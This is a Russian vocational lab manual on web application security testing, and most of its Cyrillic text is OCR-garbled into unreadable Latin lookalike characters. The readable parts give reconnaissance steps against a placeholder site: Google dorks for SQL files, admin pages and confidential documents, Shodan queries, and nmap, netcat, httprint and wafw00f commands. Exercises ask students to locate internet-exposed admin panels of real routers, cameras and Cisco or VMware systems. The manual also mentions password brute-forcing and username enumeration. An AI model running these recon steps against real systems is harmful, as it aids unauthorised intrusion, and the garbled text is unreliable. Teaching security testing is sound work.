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CopnepxaHue NPakTUYECKUX pabOT OPUEHTUPOBAHO HA MOATOTOBKY OOYYaIOIIMXCS K OCBOCHMIO
npopEeCCHOHATBPHOTO  MOJIYJS MPOTPaMMBl  TOJATOTOBKH  CIICIIHAIMCTOB CPETHEr0 3BEHa 110
cnerransHoctu 09.02.07 MubopMalmoHHBIE CHCTEMBI M MPOTPAMMHUPOBAHHE U OBJIAJICHUIO OOLIUMU
KOMTICTCHITHSIMH.

Meroandeckue yka3zaHus IO BBITIOJIHEHHIO TPAKTUIECKUX PabOT pa3paboTaHbl HA OCHOBE pabodeit
nporpammbl [IM.09. TlpoektupoBanue, pa3zpaboTka M onTHMHU3alMs BeO-mpuioxkenuit (ouno) MK
09.03 Obecneuenne 6€30MaCHOCTH BEO-TIPHIIOKEHUH.

CozepxaHue MPaKTUYECKUX PabOT OPUEHTUPOBAHO Ha (POPMHUPOBAHUE OOUMX U MPOPECCHOHATHLHBIX
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HupopmanmoHHbIE CUCTEMBI U IPOTPAMMHUPOBAHUE.
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1 HOACHUTEJIBHASA 3AIIMCKA

CoctaB M conep)kaHHWE NPAKTHUUECKUX 3aHATUM HalpaBiieHbl Ha peanusauuio denepanbHOro
rocy/IapCTBEHHOI0 00pa30BaTEIbHOTO CTaHIapTa CPeIHEro NpohecCHOHaILHOr0 00pa30BaHusl.

Benymeld  OuIakTHYeCKOH  IENbI0  MPAKTHUYECKHX  3aHATHH  sBIseTcs  (OpMHpPOBAHUE
po(hecCHOHANBHBIX MPAKTUYECKUX YMEHHH (YMEHU BBIMOIHATH ONpPECICHHbIE NEHCTBUS, ONEpalny,
HEOOXO/MMBIE B TOCIEAYIOIEM B NMPO()EeCCHOHAIBHOW AEATENbHOCTH) WM YYEOHBIX MPaKTHUECKUX
yMeHu# (yMEHUH periaTh 3a/1auu 10 MaTeMaTuke, Gu3nKe, XUMUU, HHPOpMaTUKE U JIp.), HEOOXOIUMBIX
B TIOCJIEYIONICH yueOHOM e TeTbHOCTH.

B coorBerctBHM c paboueit mporpammoii ydeOHoM mucummuiiHbl [IM.09. TlpoektmpoBanue,
paszpaboTka u omrumm3anus BeO-npriiokenuid (ouno) MK 09.03 O6Gecnieuenune 6e3omacHOCTH BeO-
MPWIOKEHUHIIPETYCMOTPEHO TPOBEIEHUE MPAKTUUYECKUX 3aHATHIA.B paMkax MpakTHUecKOro 3aHsATUs
00yJarommecss MOTYT BBIIOJIHATE OJHY MM HECKOJIBKO MPAKTHUYECKUX padoT.

B pe3ynbrare ux BBIIOTHEHHUS, 00YJIAFOIIUNACS JOHKCH:
ymemo:
V35. ocymecTBIATh ayJUT 0€30IaCHOCTH BEO-TIPHIIOKEHUH;
VY36. MomuduumpoBarh BeO-TIPUIIOKEHHE C LIENbI0 BHEIPEHUS MPOrPAaMMHOTO KOJIa 10 00ecTieueHHI0
0e301macHOCTH €T0 paboTHI;
Y01.2 ananu3upoBath 3a1a9y W/HIH MPOOIEMY U BBIIEATh €€ COCTAaBHBIC YaCTH;
Y02.4 cTpyKTypHpOBaTh MOTy4aeMyto HHPOPMAIHIO;
Y03.2 nprMeHsTh COBpEMEHHYIO HAyUHYIO TPO(ECCHOHAIBEHYIO TEPMHUHOIIOTHIO;
Y09.1 mpumeHATh cpeacTBa NHGOPMAITMOHHBIX TEXHOJIOTHH JUIS pemieHus mpodeccnoHanbHBIX 3a/1a4;
Y 09.2 ucnonp30BaTh COBPEMEHHOE MPOTPAMMHOE OOECIICUCHHE;
VY10.1 moHuMaTh OOIIMIA CMBICT YETKO POU3HECCHHBIX BBICKa3bIBAaHHI Ha W3BECTHBIE TeMbI (IIpodeccHoHabHbIE
1 OBITOBEIC);

ConepkaHue TMPAKTUYECKUX OPHEHTUPOBAHO HA TIOATOTOBKY OOYYAlOMIMXCS K OCBOGHHUIO
po()eCCHOHATTELHOTO MOJIYJISl TIPOTPaMMBbI TIOATOTOBKU CHEIUATMCTOB CPEHETO 3BEHA TI0 CHENUALHOCTH U
OBJIAZICHUIO NPOPeccuonanbHbIMU KOMNEMEHUUAMU:

[TK 9.8 OcymiecTBnsiTh ayaAuT 0€30MacHOCTH BEO-TIPUIIOKEHUS B COOTBETCTBUM C PETJIaMEHTaMU
1o 6€30MaCHOCTH

A Taxoxe GOpMUPOBAHUIO 0OUUX KOMNEMEHYUIL.

OK 1. BsiOupath ciocoObl pemieHus 3a1a4 npodhecCHOHAIbHON 1eATeIbHOCTH, TPUMEHUTEIHHO
K pa3InYHBIM KOHTEKCTaM

OK 2. OcymiecTBisiTh MOUCK, aHAIW3 W HUHTEpIpeTanvio HHQOpMAIHH, HEOOXOAUMOM ams
BBITNOJIHEHMS 3a/1a4 MPOPECCUOHATBHON AESITETbHOCTH.

OK 3 IlmanupoBaTh ¥ pealu30BbIBaTh COOCTBEHHOE MPO(ECCHOHATBFHOE U JHUYHOCTHOE
pa3BuUTHE.

OK 4 IlnanupoBaTh ¥ pealu30BbIBaTh COOCTBEHHOE MPO(ECCHOHATBFHOE U JHMYHOCTHOE
pa3BuUTHE.

OK 5 IlmanupoBaTh ¥ peaqu30OBbIBaTh COOCTBEHHOE MPO(ECCHOHATBFHOE U JMYHOCTHOE
pa3BuUTHE.

OK 6 IlposiBnsATh Tpa’KIaHCKO-MATPUOTHUECKYIO TO3UIMIO, JAEMOHCTPUPOBATH OCO3HAHHOE
MOBEJICHUE HA OCHOBE TPAJAUITMOHHBIX OOIIEUYEITIOBEYECKUX IIEHHOCTEH

OK 7 CopnelicTBOBaTh COXPAaHEHHUIO OKPYXKAIOIICH Cpenbl, pecypcocOepekeHuto, 3¢GHeKTUBHO
JIECTBOBATh B UPE3BBIYANHBIX CUTYaAIHSIX.

OK 8 Hcnonp3oBaTh cpeAcTBa (U3UYECKOW KyIbTYpPHI [UIsl COXPAaHEHUS W YKpPEIJICHUS
3I0pOBbsl B TMpollecce MPOPECCHOHANBHON AESITeIbHOCTH U TOJAEpX aHUs HEOOXOAUMOIO YpPOBHS
(bu3MYECKOI MOATOTOBIEHHOCTH

OK 9 MHcnons3oBath HHGOPMAIIMOHHBIE TEXHOJIOTHH B TPOPECCHOHAIBHON JEATEIHHOCTH.

OK 10 ITonp3oBatbess  mpoecCMOHANBHOW — OKYMEHTaluMeil Ha  rocylapCTBEHHOM U
MHOCTPaHHOM SI3BIKE
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2[IEPEYEHB TPAKTUYECKHNX 3AHATHUH

MJIK 09.03 OBECITEUEHUE BEE30ITACHOCTH BEB-IIPUJIOXXEHUN

Pa3nesibl/Tembl TeMbl NPaKTHYECKUX/JIA00PATOPHBIX KonuvecrBo | TpeGoBanus
3aHATHH 4acoB orocC C1io
(ymeTn)
Paznen 3. O0ecneueHune 0€30MaCHOCTH BeO-TIPUIOKEHU I 71
Tema 3.1 I[Tpaktuueckoe 3ansrue Ne 1 Coop 6 Y35, V36,
Texnonoruu uH(OPMAIMU 0 Web-ITPUIIOKEHNH Y01.2,¥01.9,
obecrnieueHus TiaG N 1T o V024, VY03.2,
o
Ge30MacHOCTH Beb - a00pPaTOPHOC 3aHATHC N CCTUPOBAHUC y07'2’ y09'1’
MpHITOKeHHiA 3alIUIIEHHOCTA MEXaHU3Ma YIIPaBIICHUS ¥09.2, V10.1,
JIOCTYIIOM U CECCUAMU ¥10.6
Jlaboparopuoe 3ausitue Ne 2 TectupoBaHue 16
Ha YCTOMYMBOCTbH K aTakaMm OTKa3a B
00CITy>)KMBaHUU
JlabopaTtopuoe 3ansitue Ne3 ITouck 16
ySI3BUMOCTEN K arakam XSS
JlaGopaTtopnoe 3anstue Ne4 ITouck 17
ys3BHUMOCTEH K atakam SQL-injection
UTOI'O 71




SMETOAUYECKHUE YKA3ZAHUSA
MJIK 09.03 OBECIIEYEHHME BE30ITACHOCTH BEB-TIPUJIOXKEHMIA
Tema 3.1 Texnonoruu obecneueHus: 6€30MaCHOCTH BEO — MPHUIOKECHUN

IIpakTnyeckoe 3ansaTHe Ne 1
«Co60p nndopmaruu o web-mpunoxeHun»

e padoTsl
Llenbto 1abopaTopHOii paboTHI ABIsIETCA 00yYSHHE METOIaM M cpelicTBaM cOopa nHpopmanuu 00

AHATM3UPYEMOM BeO-TIPUIIOKEHUH.

Beimosiaue pa6ory, Bel Oynere:
ymembp:

V35. ocymecTBIATh ayAUT O€30IaCHOCTH BEO-TTPUIIOKEHUIA;

VY01.2 ananu3upoBath 3aa4y W/Win NpoOiIeMy U BbIIEIATh €€ COCTaBHbIC YaCTH;

Y02.4 ctpyKTypupOBaTh MOIy4aeMylo HHPOPMALIUIO;

VY03.2 npuMeHsITh COBPEMEHHYIO HaydHYIO MPO(PECCHOHATBHYIO TEPMUHOJIOTHIO;

VY09.1 npumeHATh cpeacTBa MH(POPMAIIMOHHBIX TEXHOJIOTUH JUIsl peleHusl Mpo(decCHOHATbHBIX
3az1ay;

V09.2 ucnonp3oBaTh COBPEMEHHOE MPOTPAMMHOE 00ECTICUCHHUE;

MarepuanabHoe obecnedyenne:

[TK,rexcToBbIil penaktop biaokHOT,0pay3ep

3aganue:

BeimonuuTh c6op nadopmanyu 00 aHaIU3UPyeMOM BeO- MpHIIoKeHMH WWW.test.app.com.

KpaTrkue TeopeTuyeckue cBeieHUs1

OfHMM U3 MEpBBIX ITANOB aHAIN3A 3ALIUIIEHHOCTH JIF00OOH KOMIBIOTEPHON CHUCTEMBI SIBIISETCS
cbop mHpopmanuu. B 3aBUCHMOCTH OT HCHOJIB3yeMON METOAOJIOTHM aHalN3a 3alIMIIeHHOCTH BeO-
MPUJIOKEHUST MOTYT HPHUMEHSTHCS pa3linyHble METONbl M cpeiacTBa cbopa uHpopmauuu. CToUT
OTMETUTh, 4YTO cOOp HHpOpMAIMKM, Kak MpaBWIO, HE XapakTepeH i1 MEeTOJ0JIOTHH
MHCTPYMEHTAJIBHOIO aHAJINM3a 3alUIIEHHOCTH (CKaHUPOBaHUS), a XapaKTepeH U1 METOHO0JOTUHU
TECTUPOBAHUS HA BO3MOXXHOCTb IPOHUKHOBEHUSI.

Mertonbl c60pa HHPOPMALUHU JEATCS Ha aKTUBHBIE U MACCUBHBIE. AKTUBHBIE METO/BI TPEOYIOT

HENOCPEJICTBEHHOTO B3aUMOJCUCTBUS C UCCIEAYEMbIM MPUIOKEHUEM ITyTEM OTIPABKH €My 3alpoCOB


http://www.test.app.com/

M aHajgu3a COOTBETCTBYIOIIMX OTBETOB, a IIaCCUBHbIE METOJbl HCHOJB3YIOT HH(OpMaLHIO,
OTIPABIISIEMYIO CEPBEPOM BeO-TpuiIokeHus ero kiaueHtam (Hampumep, HTTP-3aromoBkm X-Frame-
Options, Strict-Transport- Security u T.1.) 6e3 oTnpaBku 3anpocoB. [Ipu aHamu3e BeO- MPUIIOKEHUIA,
KaK MMPaBUJIO0, UCTIOIB3YIOTCS TOIHKO AKTHBHBIEMETO/TBI.

AKTHBHBIE METOJBI JENATCSA Ha METOAbl C MOJKIIOYEHHEM K MPUIOKEHUIO (HampuMep,
uneHTuduKanus BeO-cepBepa ¢ MoMoIbio ckanepa Httprint) u metoasr 6€3 noakirovYeHus (Harpumep,
cOop uHpOpMAIHH O MPUIIOKCHUH MOMCKOBBIMUA POOOTaMH, CKaHepaMu VIHTEpHET, UT.1I.).

B pesynbrare npoBenenus c6opa HHPOPMALUU O BEO-TIPUIOKEHUN MOTYT OBITh TIOJTY4EHBI:

0 umeHa u IP-azipeca ceTeBbIX y3710B, Ha KOTOPBIX pa3MelleHbl BE€O- MPUII0KEHUE U
€rOKOMITOHEHTHI;

0 JIOTHHBI U TIAPOJIK TEXHOJIOTMYECKUX YUETHBIX3aUCEeH;

[ KOMMEHTapuupa3paboTUHUKOB;

0 JlaHHbIE O cUCTEMHOM U npuksiagHoM [10, npuMeHseMbIX CpeICTBaX 3allUThl U

KOH(UTYpauuBeO-TIPUIOKEHUS;

O ajipeca 3JIEKTPOHHOMN MOYThI Pa3pabOTYUKOBIIPUIOKEHUS;
(] MCXOJIHBIN KOJI CEpPBEPHON YaCTUBEO-TTPHUIIOKCHHUS;
[ KOH(UICHIIMaTbHbIEQailiIbl.

[TporpaMMHBIMHU CpeACTBaMU MOITY4YE€HUS HEOOXO MO MH(OPMAIMH SBIISIOTCS:

O HOUCKOBBIE cucTeMbl (Hanpumep, Google, Shodan,Bing);

(] crelualn3upoBaHHbIe CKaHEPHI ysa3BUMocTel HTepHeT (Harpu-
mep,http://unlcOrn.net/);

O MHCTPYMEHTAJIbHBIE CPEJICTBA aHAIN3a 3ALIUIEHHOCTH ceTel 00Ie- ro Ha3HAYEeHUs
(Nmap, Xprobe2,XSpider);

0 MHCTPYMEHTAJIbHBIE CPEJICTBA aHAJIN3A 3alllMIIIEHHOCTH ceTel BeO- MPUII0KEHUH

(AppScan, Acunetix, BurpSuite, ZAP, W3AF ur.x.).

ITopsinok BbINOJIHEHHS PadOTHI

bynem paccmarpuBath c60p MHpOpPMAIMK Ha NMpUMepe BeO- MPUIIOKEHUS C YCIOBHBIM UMEHEM
www.test.app.com.

[ar 1. B anpecHoii cTpoke Opay3epa nepelTH 1o aapecy

www.test.app.com/robots.txt. I[IpoanamuszupoBare conepxkumoe Qaiina. Crenarb BBIBOIBI O
HaJIM4HMH «CKPBITBIX» TUPEKTOPHUH.

[Ilar 2. B aZpecHoi CTpOKE Opaysepa nepenTn no azpecy
http://www.test.app.com/crossdomain.xml u, 3areM, 1o an-

pecyhttp://www.test.app.com/clientaccesspolicy.xml.  TIpoananu3upoBath  copepxumoe  (aiioB.
7


http://un1c0rn.net/)%3B
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CnenaTth BBIBOABI O KOPPEKTHOCTH KOH(DHUTYpAIMHU TOJUTUKH MEXKIOMEHHOTO B3amMmoneucTBusi RIA
[3]-
[Mlar 3. TIlepeéitu mo axapecy http://www.google.com. 3agath MOUCKOBBIE 3aIPOCHI,

OIpeesieMbIE aHAIIU3UPYEMBIM IIPUIIOKEHUEM, HAIIPUMED:

0 site:www.test.app.com filetype:docxconfidential

0 site:www.test.app.com filetype:docsecret

0 site:www.test.app.cominurl:admin

0 site:www.test.app.comfiletype:sql

0 site:www.test.app.com intext: "Accessdenied" IIpoananu3upoBath JIOTHKY 3alIPOCOB U

noJyueHHbIe JaHHbIe. [10- CTPOUTH CBOM 3alPOCHI, UCIIONB3YS MPUMEpPHI U3 0a3bl 3ampocoB[4].
Hlar 4. Iepeiitu no agpecy http://www.shodanhg.com. 3axaTh cieayromuii MOUCKOBBIHA 3ampoc:
0 hostname:www.test.app.com
[Toctpouts cBOM 3ampockl sl TpuiokeHus Www.test.app.com. Ilar 5. JlanHbld TecT
BBITIOJIHSIETCS TOJIBKO JUIs IPUJIOKEHUM, pa3-
MEIICHHBIX B JIabopaTopHOii ceTr. C MOMOIIbIO CETEBhIX CKaHEpPOB Nmap u Xprobe BBIMOIHHUTH

unearudukamo OC BeO-cepBepa:

# nmap —Owww.test.app.com-vv # xprobe2 www.test.app.com

Tar 6. ITogkirounThes K BEO-cepBepy, UCHONb3ys yTUiIUTy Netcat:

# ncwww.test.app.com 80

Otnpasuts caenyrommii GET 3anpoc

GET/HTTP/1.1
Host: www.test.app.com
\r\in

ITo 3aromoBkam Server u X-Powered-Byonpeaenuts mporpaMMHOE 00eCIIEUeHHE, PEATH3YIOIIEE
BeO-cepBep U GpIUMBOPK BeO- MPUITOKEHUS.

B Opaysepe ycranoButh pacummpenue Wappalyzer, nepeiitu mo agpecy BeO-TPUIOKEHUS U
NPOaHATM3UPOBATh HHPOPMAIINIO 0 KOMIIOHEHTAX BEO-TPIIIOKEHUS ToTydeHHoe yepe3 Wappalyzer.

[ITar 7. C momompio ckaHepa BeO-cepBepoB Httprint (muctpubytus Backtrack) miam Httprecon

(OC Windows) BBIIOJIHUTE UAEHTH(PUKALINIO BeO-cepBepa:


http://www.google.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.shodanhq.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/

# cd /pentest/enumeration/web/httprint/linux

# ./nttprint —h www.test.app.com —s signatures.txt

C nmomorrsio ckanepa WafwO00f mpoBeputh Hanuune y BeO- npuioxkeHus nojacuctemsl WAF:

# cd /pentest/web/waffit
# python ./wafwOOf.py http://www.test.app.com # python
Jwafw00f.pyhttps://www.test.app.com

[[Tar 8. BBIMOJHUTH TECTHl MO HACHTH(PHUKALMUM MOJACPKUBaeMbIX BeO-cepBepom HTTP-
MeTOJI0B. J1JIsT 3TOro HEOOXOAMMO OTIPABUTH ¢ MoMomkio BurpSuite mim Netcat 3ampoc ciieayromero

BuUaa:

OPTIONS /HTTP/1.1
Host: www.test.app.com
\r\in

[TpoBepuTh, MOANEPAKUBAET JIU CEPBEP OOPAOOTKY 3aIPOCOB € MIPOU3BOJILHBIMU METOIAMU:

DOGS/HTTP/1.1
Host: www.test.app.com
\r\n

Ecnu Be6-cepBep nomnepxxkusaet Meto s TRACE, To 3TO MOKeT MpUBECTH K ySI3BUMOCTH K aTake
Cross-SiteTracing (XST). s mpoBepku moanepkku Be6-cepsepom Metoa6l TRACE ortmpaButh

3arpoc

TRACE/HTTP/1.1
Host: www.test.app.com
\r\n

Beb6-cepBep nogaepxuBaet metoaq TRACE u notennuanbHo ysi3BuM k atake XST, ecnu

IMOJIY4YCH OTBETA BHUJ1a

HTTP/1.1 200 OK


http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/

Connection: close Content-Length: 39 TRACE /
HTTP/1.1

Host: www.test.app.com

Bonpocel u 3aganus

1. Haiitu agmunHucTpaTUBHBIE HHTEp(hENCH KOMMYHUKAIIHIOHHOTO U  CETEBOT0
obOopynoBanusi (Buaeokamepbl, kommyratopsl JIBC, mo- mammmneWi-Fi mapmpyrusatopsl, u T.1.),
HOJKJIIOUYEHHBIE K ceTH MH- TepHerT.

2. N3BectHO, uTO aapec BeO-untepdeiica cucrembl VMWareHorizonView HTML Access
collep’kUT cTpoky portal/webclient/views/mainULhtml. Haiitu Takue cucremsl, IOCTYIHBIE U3
cetullHTEpHET.

3. Onenuts koimyecTBO kKommyrtatopoB CiscoCatalyst ¢ amMuHH- CTpaTWBHBIM BeO-

uHTEpdeiicoM, MOIKIIOYEHHBIM K ceTulHTEepHEeT.

dopma npeacTaBiIeHUs pe3yabTarTa:
[IpenocTaBUTh CKPHUIT 33aHUI

Kpurepun onenku:

Onenka "5" craBuTcs: Bcs paboTa BbIOJHEHA 0€301IMO00YHO U HET UCTIPABIICHUII;
Onenka "4" craBUTCS: JOMYILEHBI 1-2 BEIYUCIUTENbHBIE OIIUOKH.

Orenka "3" craBUTCA: TOMYIISHBI OIIMOKU B XOJI€ PEUISHUS 3a7aud IPH MPaBUIHLHOM BBITIOJTHEHUH
BCEX OCTaJbHBIX 3aJlaHU{ WM JOMYIICHBI 3-4 BBIUYMCIUTEIbHBIC OMIMOKH, TIPH ATOM XOJI aHaIH3a

JIOJIKEH OBITh BEPHBIM.

Onenka "2" craBUTCA: HOIIYIIEHHI OINMMOKA B XOHE pELIEHWs 3amgadyd W XOTd OBl OJHa
y
BBIYHCIIUTENbHAS OIMIMOKAa WM TPH aHAIW3€ U MPUMEPOB JOMYIIEHO Oojiee S5 BBIUMCIUTEIHHBIX

[8)1105(010) 9
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MJIK 09.03 OBECIIEYEHHWE BE30ITACHOCTH BEB-TTPUJIOXKEHMIA
Tema 3.1 Texnonoruu obecneueHus: 6€30MaCHOCTH BEO — MPHUIOKECHUN

JlabopaTopHoe 3ansiTne Ne 1
«TecTupoBaHue 3alUIIEHHOCTH MEXAaHU3Ma YIIPABIEHHSI JOCTYIIOM U CECCUSAMU»

e padoTsi
Llenbto 1abopaTopHOii paboTHI ABIsETCA 00yYSHHE METOIaM M CpelicTBaM cOopa nHpopmanuu 00

AHAJIM3UPYEMOM BEO-TIPUIIOKECHHH.

Beimosiaue padory, Bel Oynere:
ymembp:

VY35. ocylecTBIsATh ayAUT 0€30MaCHOCTH BEO-TIPHIIOKEHU;

Y01.2 aHanu3upoBath 33a9y U/WIHA TPOOJIEMY U BBICISATE €€ COCTaBHBIC YaCTH;

Y02.4 cTpyKTypHpOBaTh MOITYIaeMYyI0 HH(OPMAIIHIO;,

VY03.2 npuMeHsITh COBPEMEHHYIO HayYHYIO TPO(PECCHOHATBHYIO TEPMUHOJIOTHIO;

Y09.1 npumeHsTh cpeacTBa HHGOPMALMOHHBIX TEXHOJIOTH 7S peteH s MpodeccuoHaIbHBIX
3a/1ay;

¥ 09.2 ucnonp3oBaTh COBPEMEHHOE MPOTPAMMHOE 00ECTICUCHHUE;

MarepuanabHoe obecnedyenne:

[1K,rexcToBbIi penaktop biaokHOT,0pay3ep

3aganue:

1. BBIMOJHUTH  TECTHMPOBAHWE  3AIUMIIEHHOCTH  MEXaHM3Ma  YINpaBJIEHUS  JOCTYIIOM
HCCJIETyEMOT0 BEO-TIPUIIOKEHHUS.

2. BBHIMONMHATE TeCTHPOBaHKE 3AIIUIICHHOCTH MEXaHU3Ma YIIPABIICHUS CECCHSIMH UCCIIEAYeMOTO

BEO-TIPUIIOKEHHUS.

Kpartkue TeopeTnueckue cBe1eHuUs1
OaHUM M3 OCHOBHBIX MEXaHU3MOB 3aIlIUThl COBPEMEHHBIX BEO- MPHIIOKEHUHN SIBISETCS MEXaHU3M
yrpaBieHus 10cTynoM. OOBIYHO BBIACISIOT CIEIYIOIINE dTAbl YIIPABICHUS T0CTYIOM [8]:
— HJSHTU(UKAIUSI — YCTAHOBJICHHE UACHTH(PUKAITMOHHBIXJTAHHBIX;
— ayTeHTU(]HKAIUS — MOATBEPKICHHOE YCTAaHOBJICHUE UACHTH(HKA- IIMOHHBIXIaHHBIX;

— AaBTOpHU3alHid — Ha3HAUCHUC IIpaB I/I,HCHTI/I(I)I/IKaHI/IOHHBIM,Z[aHHI)IM.
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[Ipu Bxoxe B BeO-mpuioxeHue (signin, login) mosp3oBaTenh WASHTUGUIUPYETCS (COOOIIAeT CBOM
uaeHtudukatop) M ayreHTuduuupyercs (IJOKa3blBaeT, YTO OH HMEHHO TOT I0JIb30BaTelb, 4Yei
UICHTU(PHUKATOP OBUT COOOIICH).

BonbmmHCTBO BEO-NPUIIOKEHUH HCIIONIB3YIOT AyTeHTU(HUKAIMIO 110 Tapoiiio. B BEO-IPHITIOKEHHSIX C
BBICOKMM YPOBHEM 3alllUIIEHHOCTH (HampuMmep, B IHTepHeT-0aHKax) TakkKe MPUMEHSIOTCS MPOTOKOJIbI
nByx(haktopHoi ayreHTHGUKaUU. OUeBUIHBIM HEAOCTATKOM ayTEHTU(DUKAIMH 10 MMapOJI0 SBISETCS
BO3MO>XHOCTb MCIIOJIb30BaHUS NApoJie C MJIOXUMHU CTaTUCTUYECKUMHU XapaKTEPUCTUKaMH. XpaHEHUE
napoiyii WIM €ro Iepegada IO KaHajaM CBSI3M B OTKPBHITOM WIHM JaKe 3alIu(ppPOBAHHOM BHUJE
MOTEHIMAIBHO HECET YTPO3Y PACKPBITUS MTAPOJIA.

Tem He MeHee, COBpeMEHHbIE 3allUIIEHHbIC BEO-TIPUI0KEHUS B OOJBIIIMHCTBE CIIYy4aeB UCIOIB3YIOT
niepeaqy napois B 3amu(poBaHHOM BHUJIE C TIOMOIIBIO IPOTOKOJIOB cemeiictBa SSL/TLS, a xpaneHue
naposisi B XeupoBaHHOM Buje. [Ipu 3Tom 11 XpaHeHHs mapoJiell IOoJb30BaTeled PeKOMEHIYeTCs
UCTIONIB30BaTh HE KpumnTorpaduyeckue x>m-QyHKIUM oOmero HazHaueHus (Hampumep, SHA wmm
MD)5), a cneumnanuszupoBannbie (yHkuuu PBKDF2, berypt, scrypt u t.m. Takxke st XpaHeHHs
naposieii HeoOXO0AMMO HCIONIB30BaTh «COJbY, MPEAHA3HAUYCHHYIO I 3aTPYAHEHUS MPOBEACHUS aTak
0 CJIOBAPSIM U paJy’KHbIM TaOJIULAM.

ABTOpH3aIsi B BEO-TIPUJIOKEHUSIX MOXET OBITh OIpeAelieHa KakK TMPOIECC MPOBEPKH TOTO,
paspelleH WIX 3allpelleH 3aIpoc Ha MOJyYeHUs JOCTYIa MOJIb30BATENs K PECYPCY B COOTBETCTBUH C
3aJaHHOM MNOJMUTHUKOM Oe3omacHocTH. Kak mnpaBuio, B BeO-NPUIIOKEHHUSIX peau3yercss pojeBas
(RBAC) nnu arpudyrnas (ABAC) nonutrka J10ru4eckoro ynpaBiieHus JOCTYTIOM.

OnHUM U3 METOJ0B TECTHMPOBAHHUS BO3MOXKHOCTH IOJIyYE€HUS MPUBUIIETUN JIPYroro MOJIb30BaTEls
sBisiercs nuddepeHuanbHblii aHanu3. Ero naes 3akimodaercss B MIGHTU(DUKALUU BCEX BO3MOXKHBIX
3anpocoB U coorBeTcTBYOMMX UM URL, KOTOpbIE MOKET BBINOJHUTH JAHHBIN I1OJIB30BATENb. 3aTEM
BCE TOJyYEHHBIE 3aIIPOCHI BHIITOJIHAIOTCS OT UMEHU JPYToro MOoJb30BaTelIsd BE0-TIPUIIOKEHNUS.

MexaHnu3M aBTOpPHU3ALMK PEKOMEHYeTCS Ppealn30BbIBATh HAa YPOBHSIX IpEACTaBICHUs, OU3HEC-
JOTMKM W JaHHBIX BeO-TIPUJIOKEHUS. YPOBEHb NPEACTaBICHUS — HE OTOOpa)kaeT (yHKIIMOHAT
(Hanmpumep, GopMbl, PpeiimMbl, CCHIIIKU, KHOIIKH), Ha KOTOPBIH MOJIb30BaTeh HE UMEET MpaB JIOCTYIIA.
YpoBeHb Ou3HEC-TOTMKM O0eCreYrBaeT BBIOJIHEHHWE IMPOBEPKU HAJIUYMS COOTBETCTBYIOIIMX IpaB
JOCTyNa JI0 BBIMIOJIHEHUS 3ampoca B BEO-IPUIIOKEHUH, T.e. HUKakue (YHKIUU HE MOTYT OBITh
BBINIOJIHEHB! 1O aBTOpU3allMM (HAaIpUMEp, €CJIM I0JIb30BaTENb OTIPABIIAET 3allpoc HA YAAJIEHUE
YYETHOH 3amucH, TO BEO-IPUIIOKEHHE JOIDKHO YOEIUTBCS, YTO NOJb30BAaTENb HMEET IpPaBO Ha
ylajgeHue y4eTHON 3aliCH U HE BBIMOJIHATh HUKAKUX (PYHKUUN O TOrO, KaK 3TO OYJET YCTaHOBIIEHO).
YpoBeHb NaHHBIX OOEcTeYrBaeT MPOBEPKY HAIWYMS MpaB AOCTYyINa IMOJb30BaTeNs K JaHHBIM, a HE

TOJIBKO K (pyHKIIMOHAITY 00pabOTKH JaHHBIX (HallpuMep, NoJIb30BaTeb, ucrnonb3yss URL Buga
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/delete?record=1, momkeH yaauaTh TOJBKO T€ 3alHMCH B 0a3e JaHHBIX, HA KOTOPbIE OH WMEET MPaBO

noctynaDELETE).

ITocsenoBaTeIbHOCTH JEHCTBUM

[Iar 1. Hactpouth paboty Opay3epa uepe3 mTaTHBIN MpoKCcH- cepBep BurpSuite. B Be6-Opaysepe

OTKPBITh TJIaBHYIO CTPaHMILYy T€- CTUPYEMOIo BeO-IpuiIoxkeHns WWw.test.app.com.

[ar 2. 3apeructpupoBarbcsi B BeO-nipuiioskeHuu. [lonydnts uaeH-
TUPUKATOP YYETHOM 3amicH W Tapojb JocTyna K BeO-mpuiiokeHuto. [IpoaHanu3npoBaTh
IpeACcKa3yeMoCTh UAEHTH(PUKATOPOB MOJIb30BaTe- JIEH U, €CJIM 3TO BO3MOXKHO, QJIFOPUTM Ha3HAYCHMS
uneHTugukatopoB. Ilpoananu3upoBarh peaarM30BaHHYIO B BEO-NPUIIOKEHUM IMAPOJIbHYIO MOJIUTHUKY.
OueHuTh JOCTYIHYIO CJIOKHOCTh BbIOOpa Maposeil monb3o- BareasiMu. ONIMOHAIbHO BBIIOJHUTH
aTaky I1OJIHOTO niepebopa napo- Jjeil.

Hlar 3. IlepeitTh MO cchuike A ayTeHTH(HUKAIMKM B TpwiiokeHuH. llpm sTom HeoOxommmo
ybenuThes, uTo hopma ayTeHTU(UKAIMK J0- CTyMHA ToibKo 1o npotokony HTTPS. Y6eaurscs, uro
BBOJIUMBIE T0JIH30BATENEM JIOTUH M MApoJib OTHPABISAIOTCS B 3alIM(PPOBAHHOM BUJE IO MPOTOKOILY
HTTPS. Y0enutscs, yTo JOTMH U apoib HE OT- mpasiiatoTcs ¢ nomouibto HTTP-merona GET.

[ar 4. [IpoBepuTh, YTO B BEO-NIPUIIOKEHUN HU3MEHEHBI CTaHJApT- HbIE MAapOJId JJIsi BCTPOCHHBIX
yUYEeTHBIX 3anucei. [[poBepuTh, 4TO HO- BbIE YUETHBIE 3alIUCU CO3/IAI0TCS € PA3JINYHBIMU NAPOJISIMHU.

Har 5. IIpoBepuTh BO3MOXKHOCTb MIEHTH(DUKALIMYU T0JIb30BaTENCH BeO-IPUIIOKEHHS Yepe3 (popMBI
pEerucTpanyu, BXoJa 1 BOCCTAaHOBIIE- HUS NapOJIs.

Jlns sTOro cieayer BBECTH HECYILECTBYIOIIEe MMs Mojb3oBaTens (Hampumep, qawsedrfl234) u
IIPOM3BOJIBHBIA TApOJib, @ 3aTEM MMs Cy- IIECTBYIOIIETO IIOJIb30BATENs W TNPOM3BOJIBHBIN, HO
HeNpaBWIbHBIA Na- pojib. B 000uX ciyyasx JOKHO OBITH BBIBEJEHO OJHO U TO K€ CO00- IeHue 00
omnbOke Buaa «Ommlka B UIMEHHM I0JIb30BATENs WM HeBep- HbIM mapousib». Takke o0a HTTP-orBera
